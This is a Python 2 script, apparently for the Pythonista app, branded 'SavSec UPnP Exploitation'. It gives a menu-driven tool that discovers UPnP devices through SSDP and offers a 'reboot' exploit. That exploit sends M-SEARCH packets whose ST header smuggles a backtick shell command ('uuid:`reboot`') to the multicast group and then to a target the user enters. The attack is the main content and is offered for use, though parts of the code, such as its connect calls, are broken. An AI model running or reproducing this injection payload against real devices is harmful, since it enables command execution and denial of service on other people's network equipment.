import socket, console, time, sys
console.set_color(1,0,0)
print """     _____ _____     _____ _____ 
    |  _  |  _  |___| __  |     |
    |     |   __|___|    -|  |  |
    |__|__|__|SavSec|__|__|_____|
       UPnP Exploitation"""
console.set_color()
time.sleep(1)
ssdpsrc = { "ip_address" : "239.255.255.250",
"port" : 1900,
"mx"   : 10,
"st"   : "ssdp:all" }

exptpack1 = """M-SEARCH * HTTP/1.1
HOST: {ip_address}:{port}
MAN: "ssdp:discover"
ST: uuid:`reboot`
MX: 2
""".replace("\n", "\r\n").format(**ssdpsrc) + "\r\n"

ssdpre = """M-SEARCH * HTTP/1.1
HOST: {ip_address}:{port}
MAN: "ssdp:discover"
MX: {mx}
ST: {st}
""".replace("\n", "\r\n").format(**ssdpsrc) + "\r\n"

def discover(match="", timeout=2):
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
	s.sendto(ssdpre, (ssdpsrc["ip_address"], ssdpsrc["port"]))
	s.settimeout(timeout)
	responses = []
	print ""
	try:
		while True:
			response = s.recv(1000)
			if match in response:
				print response
				responses.append(response)
	except:
		pass
	return responses

def reboot(timeout=2):
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
	s.sendto(exptpack1, (ssdpsrc["ip_address"], ssdpsrc["port"]))
	s.settimeout(timeout)
	s.settimeout(timeout)
	trg = raw_input("\nTarget: ")
	tpg = int(input("Port: "))
	for i in range(4):
		sys.stdout.write("\rSending Reboot Payload" + "." * i)
		time.sleep(0.05)
	print ""
	s.sendto(exptpack1, (trg, tpg))
	try:
		s.connect((str(tpg), int(tpg)))
		time.sleep(0.1)
		s.send(u"`REBOOT`")
		s.close()
		time.sleep(1)
		s.connect((str(tpg), int(tpg)))
	except:
		print "UPnP Device Rebooted"
	s.close()

while 1:
	location = "upnp"
	act = "\n~/" + str(location) + "$: "
	console.set_color(1,1,1)
	try:
		data = raw_input(act)
	except:
		pass
	console.set_color()
	if data == "tool" or data == "tools" or data == "t":
		while 1:
			location = "tools"
			act = "\n~/" + str(location) + "$: "
			console.set_color(1,1,1)
			try:
				data = raw_input(act)
			except:
				sys.exit()
			console.set_color()
			if data == "discover" or data == "find":
				discover()
			if data == "quit" or data == "q" or data == "exit":
				sys.exit()
			if data == "clear" or data == "cls" or data == "clr":
				console.clear()
			if data == "back" or data == "cd":
				break
			if data == "?" or data == "help":
				print ""
				console.set_font("Arial-BoldMT",16)
				print "Tool Commands: "
				console.set_font()
				time.sleep(0.3)
				print "Discover  - find: discover"
				time.sleep(0.3)
				print "Exit       - q : exit"
				time.sleep(0.3)
				print "Back      - cd : back"
				time.sleep(0.3)
				print "Clear    - cls : clear"
				time.sleep(0.3)
	if data == "exploit" or data == "exploits" or data == "e":
		while 1:
			location = "exploits"
			act = "\n~/" + str(location) + "$: "
			console.set_color(1,1,1)
			try:
				data = raw_input(act)
			except:
				sys.exit()
			console.set_color()
			if data == "reboot" or data == "boot":
				reboot()
			if data == "quit" or data == "q" or data == "exit":
				sys.exit()
			if data == "clear" or data == "cls" or data == "clr":
				console.clear()
			if data == "?" or data == "help":
				print ""
				console.set_font("Arial-BoldMT",16)
				print "Exploit Commands: "
				console.set_font()
				time.sleep(0.3)
				print "Reboot  - boot : reboot"
				time.sleep(0.3)
				print "Exit       - q : exit"
				time.sleep(0.3)
				print "Back      - cd : back"
				time.sleep(0.3)
				print "Clear    - cls : clear"
				time.sleep(0.3)
			if data == "back" or data == "cd":
				break
	if data == "exit" or data == "quit" or data == "q":
		sys.exit()
	if data == "clear" or data == "cls" or data == "clr":
		console.clear()
	if data == "help" or data == "?":
		print ""
		console.set_font("Arial-BoldMT",16)
		print "Menu Commands: "
		console.set_font()
		time.sleep(0.3)
		print "Tools     - t : tools"
		time.sleep(0.3)
		print "Exploits  - e : exploits"
		time.sleep(0.3)
		print "Exit      - q : exit"
		time.sleep(0.3)
		print "Back     - cd : back"
		time.sleep(0.3)
		print "Clear   - cls : clear"
		time.sleep(0.3)